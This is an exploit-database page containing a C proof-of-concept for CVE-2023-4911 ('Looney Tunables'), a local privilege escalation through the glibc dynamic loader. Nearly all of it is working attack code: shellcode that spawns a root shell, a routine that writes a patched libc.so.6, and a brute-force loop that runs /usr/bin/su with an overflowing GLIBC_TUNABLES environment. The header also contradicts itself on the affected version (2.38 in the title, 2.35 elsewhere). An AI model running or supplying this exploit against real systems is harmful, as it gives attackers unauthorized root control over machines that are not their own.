Share
## https://sploitus.com/exploit?id=PACKETSTORM:215376
# Exploit Title: glibc 2.38 - Buffer Overflow 
    # Google Dork: N/A
    # Date: 2025-10-08
    # Exploit Author: Beatriz Fresno Naumova
    # Vendor Homepage: https://www.gnu.org/software/libc/
    # Software Link: https://ftp.gnu.org/gnu/libc/glibc-2.35.tar.gz
    # Version: glibc 2.35 (specifically 2.35-0ubuntu3.3 on Ubuntu 22.04.3 LTS)
    # Tested on: Ubuntu 22.04.3 LTS (glibc 2.35-0ubuntu3.3)
    # CVE : CVE-2023-4911
    
    # Description:
    Looney Tunables - glibc GLIBC_TUNABLES Environment Variable Buffer Overflow 
    # This is a local privilege escalation exploit for CVE-2023-4911, also known as
    # "Looney Tunables", caused by a buffer overflow in the glibc dynamic loader's
    # environment variable parsing logic. The vulnerability is triggered by crafting
    # a maliciously long GLIBC_TUNABLES string which corrupts internal loader state,
    # allowing control over DT_RPATH and arbitrary shared object loading.
    #
    # This PoC creates a patched version of libc.so.6 with embedded shellcode and
    # abuses the loader to execute arbitrary code as root by invoking /usr/bin/su
    # with a malicious environment.
    #
    
    
    
    
    #define _GNU_SOURCE
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <stdint.h>
    #include <unistd.h>
    #include <errno.h>
    #include <fcntl.h>
    #include <time.h>
    #include <sys/stat.h>
    #include <sys/types.h>
    #include <sys/resource.h>
    #include <sys/wait.h>
    #include <elf.h>
    
    #define FILL_SIZE 0xd00
    #define BOF_SIZE 0x600
    #define MAX_ENVP  0x1000
    
    // shellcode generado con pwntools
    const unsigned char shellcode[] = {
        0x48, 0x31, 0xff,                         // xor    rdi,rdi
        0x6a, 0x69,                               // push   0x69 ; syscall setuid
        0x58,                                     // pop    rax
        0x0f, 0x05,                               // syscall
        0x48, 0x31, 0xff,                         // xor    rdi,rdi
        0x6a, 0x6a,                               // push   0x6a ; syscall setgid
        0x58,                                     // pop    rax
        0x0f, 0x05,                               // syscall
        0x48, 0x31, 0xd2,                         // xor    rdx, rdx
        0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 
        0x2f, 0x73, 0x68, 0x00,                   // mov rbx, "/bin/sh"
        0x53,                                     // push rbx
        0x48, 0x89, 0xe7,                         // mov rdi, rsp
        0x50,                                     // push rax
        0x57,                                     // push rdi
        0x48, 0x89, 0xe6,                         // mov rsi, rsp
        0xb0, 0x3b,                               // mov al, 0x3b
        0x0f, 0x05                                // syscall
    };
    
    int64_t time_us() {
        struct timespec tms;
        if (clock_gettime(CLOCK_REALTIME, &tms)) return -1;
        int64_t micros = tms.tv_sec * 1000000;
        micros += tms.tv_nsec / 1000;
        if (tms.tv_nsec % 1000 >= 500) ++micros;
        return micros;
    }
    
    void patch_libc() {
        FILE *f = fopen("/lib/x86_64-linux-gnu/libc.so.6", "rb");
        if (!f) { perror("fopen"); exit(1); }
    
        fseek(f, 0, SEEK_END);
        long size = ftell(f);
        rewind(f);
    
        unsigned char *data = malloc(size);
        if (fread(data, 1, size, f) != size) {
            perror("fread");
            exit(1);
        }
        fclose(f);
    
        Elf64_Ehdr *ehdr = (Elf64_Ehdr *)data;
        Elf64_Shdr *shdr = (Elf64_Shdr *)(data + ehdr->e_shoff);
        Elf64_Sym *symtab = NULL;
        char *strtab = NULL;
    
        for (int i = 0; i < ehdr->e_shnum; ++i) {
            if (shdr[i].sh_type == SHT_SYMTAB) {
                symtab = (Elf64_Sym *)(data + shdr[i].sh_offset);
                strtab = (char *)(data + shdr[shdr[i].sh_link].sh_offset);
                break;
            }
        }
    
        if (!symtab || !strtab) {
            fprintf(stderr, "[-] Failed to find symtab\n");
            exit(1);
        }
    
        Elf64_Addr target_addr = 0;
        for (int i = 0; i < shdr->sh_size / sizeof(Elf64_Sym); ++i) {
            if (strcmp(&strtab[symtab[i].st_name], "__libc_start_main") == 0) {
                target_addr = symtab[i].st_value;
                break;
            }
        }
    
        if (!target_addr) {
            fprintf(stderr, "[-] Could not find __libc_start_main\n");
            exit(1);
        }
    
        // patch shellcode at the symbol location
        memcpy(data + target_addr, shellcode, sizeof(shellcode));
    
        f = fopen("./libc.so.6", "wb");
        if (!f) { perror("fopen (write)"); exit(1); }
        fwrite(data, 1, size, f);
        fclose(f);
    
        free(data);
        printf("[+] Patched libc.so.6 written.\n");
    }
    
    int main(void) {
        char filler[FILL_SIZE], kv[BOF_SIZE], filler2[BOF_SIZE + 0x20], dt_rpath[0x20000];
        char *argv[] = {"/usr/bin/su", "--help", NULL};
        char *envp[MAX_ENVP] = { NULL };
    
        // Create directory and patched libc if not present
        if (mkdir("\"", 0755) == 0) {
            patch_libc();
            int sfd = open("./libc.so.6", O_RDONLY);
            int dfd = open("\"/libc.so.6", O_CREAT | O_WRONLY, 0755);
            char buf[0x1000];
            int len;
            while ((len = read(sfd, buf, sizeof(buf))) > 0) {
                write(dfd, buf, len);
            }
            close(sfd); close(dfd);
        }
    
        memset(filler, 'F', sizeof(filler)); filler[sizeof(filler)-1] = '\0';
        strcpy(filler, "GLIBC_TUNABLES=glibc.malloc.mxfast=");
    
        memset(kv, 'A', sizeof(kv)); kv[sizeof(kv)-1] = '\0';
        strcpy(kv, "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=");
    
        memset(filler2, 'F', sizeof(filler2)); filler2[sizeof(filler2)-1] = '\0';
        strcpy(filler2, "GLIBC_TUNABLES=glibc.malloc.mxfast=");
    
        for (int i = 0; i < MAX_ENVP; i++) envp[i] = "";
        envp[0] = filler;
        envp[1] = kv;
        envp[0x65] = "";
        envp[0x65 + 0xb8] = "\x30\xf0\xff\xff\xfd\x7f";
        envp[0xf7f] = filler2;
    
        for (int i = 0; i < sizeof(dt_rpath); i += 8) {
            *(uintptr_t *)(dt_rpath + i) = -0x14ULL;
        }
        dt_rpath[sizeof(dt_rpath) - 1] = '\0';
        for (int i = 0; i < 0x2f; i++) {
            envp[0xf80 + i] = dt_rpath;
        }
        envp[0xffe] = "AAAA";
    
        setrlimit(RLIMIT_STACK, &(struct rlimit){RLIM_INFINITY, RLIM_INFINITY});
    
        int pid;
        for (int ct = 1;; ct++) {
            if (ct % 100 == 0) printf("try %d\n", ct);
    
            if ((pid = fork()) < 0) {
                perror("fork"); break;
            } else if (pid == 0) {
                execve(argv[0], argv, envp);
                perror("execve (child)"); exit(1);
            } else {
                int wstatus;
                int64_t st = time_us(), en;
                wait(&wstatus);
                en = time_us();
    
                if (!WIFSIGNALED(wstatus) && en - st > 1000000) {
                    printf("[+] Exploit likely succeeded!\n");
                    break;
                }
            }
        }
    
        return 0;
    }